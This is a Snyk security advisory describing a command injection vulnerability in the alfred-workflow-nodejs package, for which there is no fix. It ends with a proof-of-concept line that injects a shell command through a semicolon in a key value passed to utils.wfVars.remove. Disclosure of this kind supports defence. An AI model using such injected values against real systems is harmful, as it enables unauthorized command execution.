Command Injection Affecting alfred-workflow-nodejs package, versions *
Snyk CVSS
Attack Complexity
Low
Privileges Required
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-ALFREDWORKFLOWNODEJS-608975
- published 15 Sep 2020
- disclosed 31 Aug 2020
- credit Asjid Kalam
How to fix?
There is no fixed version for alfred-workflow-nodejs
.
Overview
alfred-workflow-nodejs is an Alfred workflow nodejs module
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands by using a semicolon char in any of the key values.
PoC
var AlfredNode = require('alfred-workflow-nodejs');
var utils = AlfredNode.utils;
utils.wfVars.remove(' "; whoami>hacked #', false);